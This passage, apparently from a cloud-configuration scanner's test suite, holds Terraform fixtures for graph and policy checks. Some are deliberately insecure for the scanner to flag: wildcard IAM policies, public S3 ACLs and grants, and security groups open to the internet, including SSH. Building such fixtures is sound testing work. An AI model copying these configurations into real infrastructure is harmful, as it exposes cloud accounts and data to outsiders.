characters other than hyphens, letters and digits.\n  EOT\n}\n\nvariable \"id_length_limit\" {\n  type        = number\n  default     = null\n  description = <<-EOT\n    Limit `id` to this many characters (minimum 6).\n    Set to `0` for unlimited length.\n    Set to `null` for keep the existing setting, which defaults to `0`.\n    Does not affect `id_full`.\n  EOT\n  validation {\n    condition     = var.id_length_limit == null ? true : var.id_length_limit >= 6 || var.id_length_limit == 0\n    error_message = \"The id_length_limit must be >= 6 if supplied (not null), or 0 for unlimited length.\"\n  }\n}\n\nvariable \"label_key_case\" {\n  type        = string\n  default     = null\n  description = <<-EOT\n    Controls the letter case of the `tags` keys (label names) for tags generated by this module.\n    Does not affect keys of tags passed in via the `tags` input.\n    Possible values: `lower`, `title`, `upper`.\n    Default value: `title`.\n  EOT\n\n  validation {\n    condition     = var.label_key_case == null ? true : contains([\"lower\", \"title\", \"upper\"], var.label_key_case)\n    error_message = \"Allowed values: `lower`, `title`, `upper`.\"\n  }\n}\n\nvariable \"label_value_case\" {\n  type        = string\n  default     = null\n  description = <<-EOT\n    Controls the letter case of ID elements (labels) as included in `id`,\n    set as tag values, and output by this module individually.\n    Does not affect values of tags passed in via the `tags` input.\n    Possible values: `lower`, `title`, `upper` and `none` (no transformation).\n    Set this to `title` and set `delimiter` to `\"\"` to yield Pascal Case IDs.\n    Default value: `lower`.\n  EOT\n\n  validation {\n    condition     = var.label_value_case == null ? true : contains([\"lower\", \"title\", \"upper\", \"none\"], var.label_value_case)\n    error_message = \"Allowed values: `lower`, `title`, `upper`, `none`.\"\n  }\n}\n\nvariable \"descriptor_formats\" {\n  type        = any\n  default     = {}\n  description = <<-EOT\n    Describe additional descriptors to be output in the `descriptors` output map.\n    Map of maps. Keys are names of descriptors. Values are maps of the form\n    `{\n       format = string\n       labels = list(string)\n    }`\n    (Type is `any` so the map values can later be enhanced to provide additional options.)\n    `format` is a Terraform format string to be passed to the `format()` function.\n    `labels` is a list of labels, in order, to pass to `format()` function.\n    Label values will be normalized before being passed to `format()` so they will be\n    identical to how they appear in `id`.\n    Default is `{}` (`descriptors` output will be empty).\n    EOT\n}\n"
  },
  {
    "path": "tests/terraform/graph/resources/nested_modules_double_call/main.tf",
    "content": "data \"aws_iam_policy_document\" \"default\" {\n  count = var.enabled ? 1 : 0\n\n  statement {\n    actions   = \"*\"\n    resources = \"*\"\n    effect    = \"Allow\"\n  }\n}\n\nmodule \"s3_user\" {\n  source        = \"./third\"\n  namespace     = var.namespace\n  stage         = var.stage\n  environment   = var.environment\n  name          = var.name\n  attributes    = var.attributes\n  tags          = var.tags\n  enabled       = var.enabled\n  force_destroy = var.force_destroy\n  path          = var.path\n}\n\nresource \"aws_iam_user_policy\" \"default\" {\n  count  = var.enabled ? 1 : 0\n  name   = module.s3_user.user_name\n  user   = module.s3_user.user_name\n  policy = join(\"\", data.aws_iam_policy_document.default.*.json)\n}\n"
  },
  {
    "path": "tests/terraform/graph/resources/nested_modules_double_call/outputs.tf",
    "content": "output \"user_name\" {\n  value       = module.s3_user.user_name\n  description = \"Normalized IAM user name\"\n}\n\noutput \"user_arn\" {\n  value       = module.s3_user.user_arn\n  description = \"The ARN assigned by AWS for the user\"\n}\n\noutput \"user_unique_id\" {\n  value       = module.s3_user.user_unique_id\n  description = \"The user unique ID assigned by AWS\"\n}\n\noutput \"access_key_id\" {\n  sensitive   = true\n  value       = module.s3_user.access_key_id\n  description = \"Access Key ID\"\n}\n\noutput \"secret_access_key\" {\n  sensitive   = true\n  value       = module.s3_user.secret_access_key\n  description = \"Secret Access Key. This will be written to the state file in plain-text\"\n}\n"
  },
  {
    "path": "tests/terraform/graph/resources/nested_modules_double_call/third/main.tf",
    "content": "module \"label\" {\n  source      = \"../four\"\n  namespace   = var.namespace\n  stage       = var.stage\n  environment = var.environment\n  name        = var.name\n  attributes  = var.attributes\n  delimiter   = var.delimiter\n  tags        = var.tags\n  enabled     = var.enabled\n}\n\n# Defines a user that should be able to write to you test bucket\nresource \"aws_iam_user\" \"default\" {\n  count         = var.enabled ? 1 : 0\n  name          = module.label.id\n  path          = var.path\n  force_destroy = var.force_destroy\n  tags          = var.tags\n}\n\n# Generate API credentials\nresource \"aws_iam_access_key\" \"default\" {\n  count = var.enabled ? 1 : 0\n  user  = aws_iam_user.default[0].name\n}\n"
  },
  {
    "path": "tests/terraform/graph/resources/nested_modules_double_call/third/outputs.tf",
    "content": "output \"user_name\" {\n  value       = join(\"\", aws_iam_user.default.*.name)\n  description = \"Normalized IAM user name\"\n}\n\noutput \"user_arn\" {\n  value       = join(\"\", aws_iam_user.default.*.arn)\n  description = \"The ARN assigned by AWS for this user\"\n}\n\noutput \"user_unique_id\" {\n  value       = join(\"\", aws_iam_user.default.*.unique_id)\n  description = \"The unique ID assigned by AWS\"\n}\n\noutput \"access_key_id\" {\n  value       = join(\"\", aws_iam_access_key.default.*.id)\n  description = \"The access key ID\"\n}\n\noutput \"secret_access_key\" {\n  sensitive   = true\n  value       = join(\"\", aws_iam_access_key.default.*.secret)\n  description = \"The secret access key. This will be written to the state file in plain-text\"\n}\n\noutput \"ses_smtp_password\" {\n  sensitive   = true\n  value       = join(\"\", aws_iam_access_key.default.*.ses_smtp_password)\n  description = \"The secret access key converted into an SES SMTP password by applying AWS's documented conversion algorithm.\"\n}\n"
  },
  {
    "path": "tests/terraform/graph/resources/nested_modules_double_call/third/variable.tf",
    "content": "variable \"name\" {\n  type        = string\n  description = \"The Name of the application or solution  (e.g. `bastion` or `portal`)\"\n}\n\nvariable \"namespace\" {\n  type        = string\n  description = \"Namespace, which could be your organization name or abbreviation, e.g. 'eg' or 'cp'\"\n  default     = \"\"\n}\n\nvariable \"stage\" {\n  type        = string\n  description = \"Stage (e.g. `prod`, `dev`, `staging`)\"\n  default     = \"\"\n}\n\nvariable \"environment\" {\n  type        = string\n  default     = \"\"\n  description = \"Environment, e.g. 'prod', 'staging', 'dev', 'pre-prod', 'UAT'\"\n}\n\nvariable \"attributes\" {\n  type        = list(string)\n  description = \"Additional attributes (e.g. `1`)\"\n  default     = []\n}\n\nvariable \"tags\" {\n  type        = map(string)\n  description = \"Additional tags (e.g. `map('BusinessUnit','XYZ')`)\"\n  default     = {}\n}\n\nvariable \"delimiter\" {\n  type        = string\n  description = \"Delimiter to be used between `name`, `namespace`, `stage`, etc.\"\n  default     = \"-\"\n}\n\nvariable \"force_destroy\" {\n  type        = bool\n  description = \"Destroy the user even if it has non-Terraform-managed IAM access keys, login profile or MFA devices\"\n  default     = false\n}\n\nvariable \"path\" {\n  type        = string\n  description = \"Path in which to create the user\"\n  default     = \"/\"\n}\n\nvariable \"enabled\" {\n  type        = bool\n  description = \"Set to false to prevent the module from creating any resources\"\n  default     = true\n}\n"
  },
  {
    "path": "tests/terraform/graph/resources/nested_modules_double_call/variables.tf",
    "content": "variable \"namespace\" {\n  type        = string\n  default     = \"\"\n  description = \"Namespace, which could be your organization name or abbreviation, e.g. 'eg' or 'cp'\"\n}\n\nvariable \"environment\" {\n  type        = string\n  default     = \"\"\n  description = \"Environment, e.g. 'prod', 'staging', 'dev', 'pre-prod', 'UAT'\"\n}\n\nvariable \"stage\" {\n  type        = string\n  default     = \"\"\n  description = \"Stage, e.g. 'prod', 'staging', 'dev', OR 'source', 'build', 'test', 'deploy', 'release'\"\n}\n\nvariable \"name\" {\n  type        = string\n  default     = \"\"\n  description = \"Solution name, e.g. 'app' or 'jenkins'\"\n}\n\nvariable \"delimiter\" {\n  type        = string\n  default     = \"-\"\n  description = \"Delimiter to be used between `namespace`, `environment`, `stage`, `name` and `attributes`\"\n}\n\nvariable \"attributes\" {\n  type        = list(string)\n  default     = []\n  description = \"Additional attributes (e.g. `1`)\"\n}\n\nvariable \"tags\" {\n  type        = map(string)\n  default     = {}\n  description = \"Additional tags (e.g. `map('BusinessUnit','XYZ')`\"\n}\n\nvariable \"enabled\" {\n  type        = bool\n  default     = true\n  description = \"Set to false to prevent the module from creating any resources\"\n}\n\nvariable \"s3_actions\" {\n  type        = list(string)\n  default     = [\"s3:GetObject\"]\n  description = \"Actions to allow in the policy\"\n}\n\nvariable \"s3_resources\" {\n  type        = list(string)\n  description = \"S3 resources to apply the actions specified in the policy\"\n}\n\nvariable \"force_destroy\" {\n  type        = bool\n  default     = false\n  description = \"Destroy even if it has non-Terraform-managed IAM access keys, login profiles or MFA devices\"\n}\n\nvariable \"path\" {\n  type        = string\n  default     = \"/\"\n  description = \"Path in which to create the user\"\n}\n"
  },
  {
    "path": "tests/terraform/graph/resources/nested_modules_double_call/versions.tf",
    "content": "terraform {\n  required_version = \"~> 0.12.0\"\n\n  required_providers {\n    aws   = \"~> 2.0\"\n    local = \"~> 1.2\"\n    null  = \"~> 2.0\"\n  }\n}\n"
  },
  {
    "path": "tests/terraform/graph/resources/none_contains/main.tf",
    "content": "variable \"iterator\" {}\n\nresource \"azurerm_key_vault\" \"kv\" {\n\n  dynamic \"network_acls\" {\n    for_each = []\n    content {\n      default_action             = \"Deny\"\n      bypass                     = \"\"\n      ip_rules                   = null\n      virtual_network_subnet_ids = null\n    }\n  }\n\n  location            = \"\"\n  name                = \"\"\n  resource_group_name = \"\"\n  sku_name            = \"\"\n  tenant_id           = \"\"\n}"
  },
  {
    "path": "tests/terraform/graph/resources/number_of_words/main.tf",
    "content": "resource \"aws_security_group\" \"sg1\" {\n  description = \"sg1\"\n\n  egress {\n    description = \"Self Reference\"\n    cidr_blocks = [\"0.0.0.0/0\", \"25.0.9.19/92\"]\n    from_port   = \"0\"\n    protocol    = \"-1\"\n    self        = \"false\"\n    to_port     = \"0\"\n  }\n\n  ingress {\n    description     = \"Access to Bastion Host Security Group\"\n    from_port       = \"5432\"\n    protocol        = \"tcp\"\n    security_groups = [\"sg-id-0\"]\n    self            = \"false\"\n    to_port         = \"8182\"\n  }\n}\n\nresource \"aws_security_group\" \"sg2\" {\n  description = \"security_group_2\"\n\n  egress {\n    description = \"Self Reference\"\n    cidr_blocks = [\"0.0.0.0/0\"]\n    from_port   = \"0\"\n    protocol    = \"-1\"\n    self        = \"false\"\n    to_port     = \"0\"\n  }\n\n  ingress {\n    description     = \"Access to  SG\"\n    from_port       = \"5432\"\n    protocol        = \"tcp\"\n    security_groups = [\"sg-id-0\"]\n    self            = \"false\"\n    to_port         = \"1234\"\n  }\n}\n"
  },
  {
    "path": "tests/terraform/graph/resources/oci_policies/main.tf",
    "content": "resource \"oci_identity_policy\" \"example\" {\n    compartment_id = var.tenancy_id\n    statements = [\"allow group group-admin-001 to use groups in tenancy where target.group.name != 'Administrators'\"]\n}\n"
  },
  {
    "path": "tests/terraform/graph/resources/output_example/main.tf",
    "content": "module \"submodule\" {\n  source = \"./submodule\"\n}\n\nresource \"aws_subnet\" \"my_subnet\" {\n  vpc_id            = module.submodule.vpc_id\n  cidr_block        = \"172.16.10.0/24\"\n  availability_zone = \"us-west-2a\"\n\n  tags = {\n    Name = \"tf-example\"\n  }\n}"
  },
  {
    "path": "tests/terraform/graph/resources/output_example/submodule/main.tf",
    "content": "resource \"aws_vpc\" \"my_vpc\" {\n  cidr_block = \"172.16.0.0/16\"\n\n  tags = {\n    Name = \"tf-example\"\n  }\n}"
  },
  {
    "path": "tests/terraform/graph/resources/output_example/submodule/outputs.tf",
    "content": "output \"vpc_id\" {\n  value = aws_vpc.my_vpc.id\n}"
  },
  {
    "path": "tests/terraform/graph/resources/public_security_groups/main.tf",
    "content": "resource \"aws_vpc\" \"my_vpc\" {\n  cidr_block = \"172.16.0.0/16\"\n\n  tags = {\n    Name = \"tf-example\"\n  }\n}\n\nresource \"aws_security_group\" \"aws_security_group_public\" {\n  vpc_id      = aws_vpc.my_vpc.id\n\n  ingress {\n    cidr_blocks = [\"0.0.0.0/0\"]\n    from_port = 0\n    protocol = \"\"\n    to_port = 0\n  }\n}\n\nresource \"aws_security_group\" \"aws_security_group_private\" {\n  vpc_id      = aws_vpc.my_vpc.id\n\n  ingress {\n    cidr_blocks = [\"25.09.19.92/0\"]\n    from_port = 0\n    protocol = \"\"\n    to_port = 0\n  }\n}\n\nresource \"aws_db_security_group\" \"aws_db_security_group_public\" {\n  name = \"rds_sg\"\n\n  ingress {\n    cidr = \"0.0.0.0\"\n  }\n}\n\nresource \"aws_db_security_group\" \"aws_db_security_group_private\" {\n  name = \"rds_sg\"\n\n  ingress {\n    cidr = \"10.0.0.0/24\"\n  }\n}\n\nresource \"aws_redshift_security_group\" \"aws_redshift_security_group_public\" {\n  name = \"redshift-sg\"\n\n  ingress {\n    cidr = \"0.0.0.0\"\n  }\n}\n\nresource \"aws_redshift_security_group\" \"aws_redshift_security_group_private\" {\n  name = \"redshift-sg\"\n\n  ingress {\n    cidr = \"25.09.19.92/0\"\n  }\n}\n\nresource \"aws_elasticache_security_group\" \"aws_elasticache_security_group_public\" {\n  name                 = \"elasticache-security-group\"\n  security_group_names = [aws_security_group.aws_security_group_public.name]\n}\n\nresource \"aws_elasticache_security_group\" \"aws_elasticache_security_group_private\" {\n  name                 = \"elasticache-security-group\"\n  security_group_names = [aws_security_group.aws_security_group_private.name]\n}"
  },
  {
    "path": "tests/terraform/graph/resources/public_security_groups/output.tf",
    "content": "output \"aws_security_group_public\" {\n  value = aws_security_group.aws_security_group_public.id\n}\n\noutput \"aws_security_group_private\" {\n  value = aws_security_group.aws_security_group_private.id\n}\n\noutput \"aws_db_security_group_public\" {\n  value = aws_db_security_group.aws_db_security_group_public.id\n}\n\noutput \"aws_db_security_group_private\" {\n  value = aws_db_security_group.aws_db_security_group_private.id\n}\n\noutput \"aws_redshift_security_group_public\" {\n  value = aws_redshift_security_group.aws_redshift_security_group_public.id\n}\n\n\noutput \"aws_redshift_security_group_private\" {\n  value = aws_redshift_security_group.aws_redshift_security_group_private.id\n}\n\noutput \"aws_elasticache_security_group_public\" {\n  value = aws_elasticache_security_group.aws_elasticache_security_group_public.id\n}\n\noutput \"aws_elasticache_security_group_private\" {\n  value = aws_elasticache_security_group.aws_elasticache_security_group_private.id\n}"
  },
  {
    "path": "tests/terraform/graph/resources/public_virtual_machines/main.tf",
    "content": "resource \"aws_vpc\" \"my_vpc\" {\n  cidr_block = \"172.16.0.0/16\"\n\n  tags = {\n    Name = \"tf-example\"\n  }\n}\n\nresource \"aws_subnet\" \"subnet_public_ip\" {\n  vpc_id            = aws_vpc.my_vpc.id\n  cidr_block        = \"172.16.10.0/24\"\n  availability_zone = \"us-west-2a\"\n  map_public_ip_on_launch = true\n\n  tags = {\n    Name = \"first-tf-example\"\n  }\n}\n\nresource \"aws_subnet\" \"subnet_not_public_ip\" {\n  vpc_id            = aws_vpc.my_vpc.id\n  cidr_block        = \"172.16.10.0/24\"\n  availability_zone = \"eu-central-1\"\n\n  tags = {\n    Name = \"second-tf-example\"\n  }\n}\n\n\nresource \"aws_default_security_group\" \"default_security_group_open\" {\n  vpc_id = aws_vpc.my_vpc.id\n\n  ingress {\n    protocol  = -1\n    self      = true\n    from_port = 0\n    to_port   = 0\n    cidr_blocks = [\"0.0.0.0/0\"]\n  }\n\n  egress {\n    from_port   = 0\n    to_port     = 0\n    protocol    = \"-1\"\n    cidr_blocks = [\"0.0.0.0/0\"]\n  }\n}\n\nresource \"aws_default_security_group\" \"default_security_group_closed\" {\n  vpc_id = aws_vpc.my_vpc.id\n\n  ingress {\n    protocol  = -1\n    self      = true\n    from_port = 0\n    to_port   = 0\n  }\n\n  egress {\n    from_port   = 0\n    to_port     = 0\n    protocol    = \"-1\"\n    cidr_blocks = [\"0.0.0.0/0\"]\n  }\n}\n\nresource \"aws_instance\" \"with_open_def_security_groups\" {\n  ami           = \"ami-0\"\n  instance_type = \"t2.micro\"\n\n  credit_specification {\n    cpu_credits = \"unlimited\"\n  }\n\n  security_groups = [aws_default_security_group.default_security_group_open.id]\n}\n\nresource \"aws_instance\" \"with_closed_def_security_groups\" {\n  ami           = \"ami-1\"\n  instance_type = \"t2.micro\"\n\n  credit_specification {\n    cpu_credits = \"unlimited\"\n  }\n\n  security_groups = [aws_default_security_group.default_security_group_closed.id]\n}\n\n\nresource \"aws_instance\" \"with_open_security_groups\" {\n  ami           = \"ami-2\"\n  instance_type = \"t2.micro\"\n\n  credit_specification {\n    cpu_credits = \"unlimited\"\n  }\n\n  vpc_security_group_ids = [aws_security_group.allow_tls.id]\n}\n\nresource \"aws_security_group\" \"allow_tls\" {\n  name        = \"allow_tls\"\n  description = \"Allow TLS inbound traffic\"\n  vpc_id      = aws_vpc.my_vpc.id\n\n  ingress {\n    description = \"TLS from VPC\"\n    from_port   = 443\n    to_port     = 443\n    protocol    = \"tcp\"\n    cidr_blocks = [\"0.0.0.0/0\"]\n  }\n\n\n  tags = {\n    Name = \"allow_tls\"\n  }\n}\n\n\nresource \"aws_instance\" \"with_subnet_public\" {\n  ami           = \"ami-3\"\n  instance_type = \"t2.micro\"\n\n  credit_specification {\n    cpu_credits = \"unlimited\"\n  }\n\n  subnet_id = aws_subnet.subnet_public_ip.id\n}\n\nresource \"aws_instance\" \"with_subnet_not_public\" {\n  ami           = \"ami-4\"\n  instance_type = \"t2.micro\"\n\n  credit_specification {\n    cpu_credits = \"unlimited\"\n  }\n\n  subnet_id = aws_subnet.subnet_not_public_ip.id\n}"
  },
  {
    "path": "tests/terraform/graph/resources/reset_edges/main.tf",
    "content": "resource \"aws_s3_bucket\" \"destination\" {\n  bucket = \"tf-test-bucket-destination-12345\"\n  acl = var.acl\n  versioning {\n    enabled = var.is_enabled\n  }\n}"
  },
  {
    "path": "tests/terraform/graph/resources/reset_edges/variables.tf",
    "content": "variable \"is_enabled\" {\n  default = \"True\"\n}\n\nvariable \"acl\" {\n  default = \"public-read\"\n}\n"
  },
  {
    "path": "tests/terraform/graph/resources/s3_bucket/main.tf",
    "content": "resource \"aws_s3_bucket\" \"destination\" {\n  bucket = \"tf-test-bucket-destination-12345\"\n  acl = var.acl\n  versioning {\n    enabled = var.is_enabled\n  }\n}"
  },
  {
    "path": "tests/terraform/graph/resources/s3_bucket/variables.tf",
    "content": "variable \"is_enabled\" {\n  default = \"True\"\n}\n\nvariable \"acl\" {\n  default = \"public-read\"\n}\n"
  },
  {
    "path": "tests/terraform/graph/resources/s3_bucket_2/main.tf",
    "content": "resource \"aws_s3_bucket\" \"private\" {\n  bucket = \"my-tf-test-bucket\"\n  acl    = \"private\"\n\n  tags = {\n    Name        = \"My bucket\"\n    Environment = \"Dev\"\n  }\n}\n\nresource \"aws_s3_bucket\" \"public\" {\n  bucket = \"my-tf-test-bucket\"\n  acl    = \"public\"\n\n  tags = {\n    Name        = \"My other bucket\"\n    Environment = \"Prod\"\n  }\n}\n\nresource \"aws_s3_bucket\" \"non_tag\" {\n  bucket = \"no-tags\"\n  acl    = \"public\"\n}\n"
  },
  {
    "path": "tests/terraform/graph/resources/s3_bucket_grant/main.tf",
    "content": "resource \"aws_s3_bucket\" \"grant\" {\n  bucket        = \"acme-dev-financials\"\n  force_destroy = \"False\"\n\n  grant {\n    permissions = [\"READ_ACP\"]\n    type        = \"Group\"\n    uri         = \"http://acs.amazonaws.com/groups/global/AllUsers\"\n  }\n\n  grant {\n    id          = \"1234567890\"\n    permissions = [\"FULL_CONTROL\"]\n    type        = \"CanonicalUser\"\n  }\n\n  hosted_zone_id = \"EXAMPLE\"\n  request_payer  = \"BucketOwner\"\n\n  versioning {\n    enabled    = \"False\"\n    mfa_delete = \"False\"\n  }\n}\n"
  },
  {
    "path": "tests/terraform/graph/resources/s3_bucket_policy/main.tf",
    "content": "resource \"aws_s3_bucket\" \"good\" {\n  bucket = \"bucket_good\"\n}\n\nresource \"aws_s3_bucket_policy\" \"good\" {\n  bucket = aws_s3_bucket.good.id\n  policy = data.aws_iam_policy_document.good.json\n}\n\ndata \"aws_iam_policy_document\" \"good\" {\n  version = \"2012-10-17\"\n\n  statement {\n    effect = \"Allow\"\n    actions = [\n      \"s3:Describe*\",\n    ]\n    resources = [\n      \"arn:aws:s3:::examplebucket\",\n    ]\n  }\n}\n\nresource \"aws_s3_bucket\" \"bad\" {\n  bucket = \"bucket_good\"\n}\n\nresource \"aws_s3_bucket_policy\" \"bad\" {\n  bucket = aws_s3_bucket.bad.id\n  policy = data.aws_iam_policy_document.bad.json\n}\n\ndata \"aws_iam_policy_document\" \"bad\" {\n  version = \"2012-10-17\"\n\n  statement {\n    effect = \"Allow\"\n    actions = [\n      \"s3:Describe*\",\n    ]\n    resources = [\n      \"*\",\n    ]\n  }\n}\n"
  },
  {
    "path": "tests/terraform/graph/resources/security_group_list_cidr_blocks/main.tf",
    "content": "resource \"aws_security_group\" \"failed_cidr_blocks\" {\n  name        = \"friendly_subnets\"\n  description = \"Allows access from friendly subnets\"\n  ingress {\n    from_port = 0\n    to_port   = 0\n    protocol  = -1\n    cidr_blocks = [\"10.1.1.0/24\", \"10.1.2.0/24\", \"10.1.3.0/24\"]\n  }\n}\n\nresource \"aws_security_group\" \"passed_cidr_block\" {\n  name        = \"friendly_subnets\"\n  description = \"Allows access from friendly subnets\"\n  ingress {\n    from_port = 0\n    to_port   = 0\n    protocol  = -1\n    cidr_blocks = [\"10.2.1.0/24\", \"10.2.2.0/24\", \"10.2.3.0/24\"]\n  }\n}\n\nresource \"aws_security_group\" \"passed_multiple_ingress\" {\n  name        = \"friendly_subnets\"\n  description = \"Allows access from friendly subnets\"\n  ingress {\n    from_port = 0\n    to_port   = 0\n    protocol  = -1\n    cidr_blocks = [\"10.0.0.0/8\", \"192.168.1.0/24\"]\n  }\n\n  ingress {\n    from_port = 0\n    to_port   = 0\n    protocol  = -1\n    cidr_blocks = [\"192.168.0.124/32\"]\n  }\n}"
  },
  {
    "path": "tests/terraform/graph/resources/security_group_multiple_rules/main.tf",
    "content": "resource \"aws_security_group\" \"sg1\" {\n  description = \"sg1\"\n\n  egress {\n    description = \"Self Reference\"\n    cidr_blocks = [\"0.0.0.0/0\", \"25.0.9.19/92\"]\n    from_port   = \"0\"\n    protocol    = \"-1\"\n    self        = \"false\"\n    to_port     = \"0\"\n  }\n\n  ingress {\n    description     = \"Access to Bastion Host Security Group\"\n    from_port       = \"5432\"\n    protocol        = \"tcp\"\n    security_groups = [\"sg-id-0\"]\n    self            = \"false\"\n    to_port         = \"8182\"\n  }\n\n  egress {\n    description = \"Self Reference\"\n    cidr_blocks = [\"0.0.0.0/0\"]\n    from_port   = \"0\"\n    protocol    = \"-1\"\n    self        = \"false\"\n    to_port     = \"0\"\n  }\n\n  ingress {\n    description     = \"Access to Bastion Host Security Group\"\n    from_port       = \"5432\"\n    protocol        = \"tcp\"\n    security_groups = [\"sg-id-0\"]\n    self            = \"false\"\n    to_port         = \"5432\"\n  }\n}\n\nresource \"aws_security_group\" \"sg2\" {\n  description = \"sg2\"\n\n  egress {\n    description = \"Self Reference\"\n    cidr_blocks = [\"0.0.0.0/0\"]\n    from_port   = \"0\"\n    protocol    = \"-1\"\n    self        = \"false\"\n    to_port     = \"0\"\n  }\n\n  ingress {\n    description     = \"Access to Bastion Host Security Group\"\n    from_port       = \"5432\"\n    protocol        = \"tcp\"\n    security_groups = [\"sg-id-0\"]\n    self            = \"false\"\n    to_port         = \"1234\"\n  }\n\n  egress {\n    description = \"Self Reference\"\n    cidr_blocks = [\"0.0.0.0/0\", \"8.0.4.19/92\"]\n    from_port   = \"0\"\n    protocol    = \"-1\"\n    self        = \"false\"\n    to_port     = \"0\"\n  }\n\n  ingress {\n    description     = \"Access to Bastion Host Security Group\"\n    from_port       = \"5432\"\n    protocol        = \"tcp\"\n    security_groups = [\"sg-id-0\"]\n    self            = \"false\"\n    to_port         = \"5432\"\n  }\n}\n"
  },
  {
    "path": "tests/terraform/graph/resources/security_group_multiple_rules2/main.tf",
    "content": "resource \"aws_security_group\" \"sg1\" {\n  description = \"sg1\"\n\n  egress {\n    description = \"Self Reference\"\n    cidr_blocks = [\"0.0.0.0/0\", \"25.0.9.19/92\"]\n    from_port   = \"0\"\n    protocol    = \"-1\"\n    self        = \"false\"\n    to_port     = \"0\"\n  }\n\n  ingress {\n    description     = \"Access to Bastion Host Security Group\"\n    from_port       = \"5432\"\n    protocol        = \"tcp\"\n    security_groups = [\"sg-id-0\"]\n    self            = \"false\"\n    to_port         = \"8182\"\n  }\n\n  egress {\n    description = \"Self Reference\"\n    cidr_blocks = [\"0.0.0.0/0\"]\n    from_port   = \"0\"\n    protocol    = \"-1\"\n    self        = \"false\"\n    to_port     = \"0\"\n  }\n\n  ingress {\n    description     = \"Access to Bastion Host Security Group\"\n    from_port       = \"5432\"\n    protocol        = \"tcp\"\n    security_groups = [\"sg-id-0\"]\n    self            = \"false\"\n    to_port         = \"5432\"\n  }\n}\n\nresource \"aws_security_group\" \"sg2\" {\n  description = \"sg2\"\n\n  egress {\n    description = \"Self Reference\"\n    cidr_blocks = [\"0.0.0.0/0\"]\n    from_port   = \"0\"\n    protocol    = \"-1\"\n    self        = \"false\"\n    to_port     = \"0\"\n  }\n\n  ingress {\n    description     = \"Access to Bastion Host Security Group\"\n    from_port       = \"5432\"\n    protocol        = \"tcp\"\n    security_groups = [\"sg-id-0\"]\n    self            = \"false\"\n    to_port         = \"1234\"\n  }\n\n  egress {\n    description = \"Self Reference\"\n    cidr_blocks = [\"0.0.0.0/0\", \"8.0.4.19/92\"]\n    from_port   = \"0\"\n    protocol    = \"-1\"\n    self        = \"false\"\n    to_port     = \"0\"\n  }\n\n  ingress {\n    description     = \"Access to Bastion Host Security Group\"\n    from_port       = \"5432\"\n    protocol        = \"tcp\"\n    security_groups = [\"sg-id-0\"]\n    self            = \"false\"\n    to_port         = \"5432\"\n  }\n}\n"
  },
  {
    "path": "tests/terraform/graph/resources/security_group_multiple_rules3/main.tf",
    "content": "resource \"aws_security_group\" \"sg1\" {\n  description = \"sg1\"\n\n  egress {\n    description = \"Self Reference\"\n    cidr_blocks = [\"0.0.0.0/0\", \"25.0.9.19/92\"]\n    from_port   = \"0\"\n    protocol    = \"-1\"\n    self        = \"false\"\n    to_port     = \"0\"\n  }\n\n  ingress {\n    description     = \"Access to Bastion Host Security Group\"\n    from_port       = \"22\"\n    to_port         = \"22\"\n    protocol        = \"tcp\"\n    cidr_blocks     = [\"0.0.0.0/0\"]\n    security_groups = [\"sg-id-0\"]\n    self            = \"false\"\n  }\n\n  egress {\n    description = \"Self Reference\"\n    cidr_blocks = [\"0.0.0.0/0\"]\n    from_port   = \"0\"\n    protocol    = \"-1\"\n    self        = \"false\"\n    to_port     = \"0\"\n  }\n\n  ingress {\n    description     = \"Access to Bastion Host Security Group\"\n    from_port       = \"443\"\n    to_port         = \"443\"\n    protocol        = \"tcp\"\n    security_groups = [\"sg-id-0\"]\n    self            = \"false\"\n    cidr_blocks     = [\"0.0.0.0/0\", \"8.0.4.19/92\"]\n  }\n}\n\nresource \"aws_security_group\" \"sg2\" {\n  description = \"sg2\"\n\n  egress {\n    description = \"Self Reference\"\n    cidr_blocks = [\"0.0.0.0/0\"]\n    from_port   = \"0\"\n    protocol    = \"-1\"\n    self        = \"false\"\n    to_port     = \"0\"\n  }\n\n  ingress {\n    description     = \"Access to Bastion Host Security Group\"\n    from_port       = \"5432\"\n    protocol        = \"tcp\"\n    security_groups = [\"sg-id-0\"]\n    self            = \"false\"\n    to_port         = \"1234\"\n  }\n\n  egress {\n    description = \"Self Reference\"\n    cidr_blocks = [\"0.0.0.0/0\", \"8.0.4.19/92\"]\n    from_port   = \"0\"\n    protocol    = \"-1\"\n    self        = \"false\"\n    to_port     = \"0\"\n  }\n\n  ingress {\n    description     = \"Access to Bastion Host Security Group\"\n    from_port       = \"5432\"\n    protocol        = \"tcp\"\n    security_groups = [\"sg-id-0\"]\n    self            = \"false\"\n    to_port         = \"5432\"\n  }\n}\n\nresource \"aws_security_group\" \"sg3\" {\n  description = \"sg2\"\n\n  egress {\n    description = \"Self Reference\"\n    cidr_blocks = [\"0.0.0.0/0\"]\n    from_port   = \"0\"\n    protocol    = \"-1\"\n    self        = \"false\"\n    to_port     = \"0\"\n  }\n\n  ingress {\n    description     = \"Access to Bastion Host Security Group\"\n    from_port       = \"22\"\n    protocol        = \"tcp\"\n    security_groups = [\"sg-id-0\"]\n    cidr_blocks     = [\"0.0.0.0/16\"]\n    self            = \"false\"\n    to_port         = \"22\"\n  }\n\n  egress {\n    description = \"Self Reference\"\n    cidr_blocks = [\"0.0.0.0/0\", \"8.0.4.19/92\"]\n    from_port   = \"0\"\n    protocol    = \"-1\"\n    self        = \"false\"\n    to_port     = \"0\"\n  }\n\n  ingress {\n    description     = \"Access to Bastion Host Security Group\"\n    from_port       = \"5432\"\n    protocol        = \"tcp\"\n    security_groups = [\"sg-id-0\"]\n    self            = \"false\"\n    to_port         = \"5432\"\n  }\n}\n"
  },
  {
    "path": "tests/terraform/graph/resources/tag_includes/main.tf",
    "content": "resource \"aws_instance\" \"some_instance\" {\n  ami = \"some_ami\"\n  instance_type = \"t3.nano\"\n  tags = {\n    Name = \"acme-machine\"\n  }\n}\n\nresource \"aws_subnet\" \"acme_subnet\" {\n  cidr_block = \"\"\n  vpc_id = \"\"\n\n  tags = {\n    acme = \"true\"\n    Name = \"notacme-subnet\"\n  }\n}\n\nresource \"aws_s3_bucket\" \"acme_s3_bucket\" {\n  bucket = \"acme-123456\"\n  tags = {\n    Environment = \"dev\"\n  }\n}"
  },
  {
    "path": "tests/terraform/graph/resources/terraform_block/main.tf",
    "content": "terraform {\n  backend \"s3\" {\n    encrypt = true\n  }\n  required_version = \"1.1.5\"\n  required_providers {\n    aws = {\n      version = \">= 2.7.0\"\n      source = \"hashicorp/aws\"\n    }\n  }\n}\n"
  },
  {
    "path": "tests/terraform/graph/resources/tf_parsing_comparison/modifications_diff/main.tf",
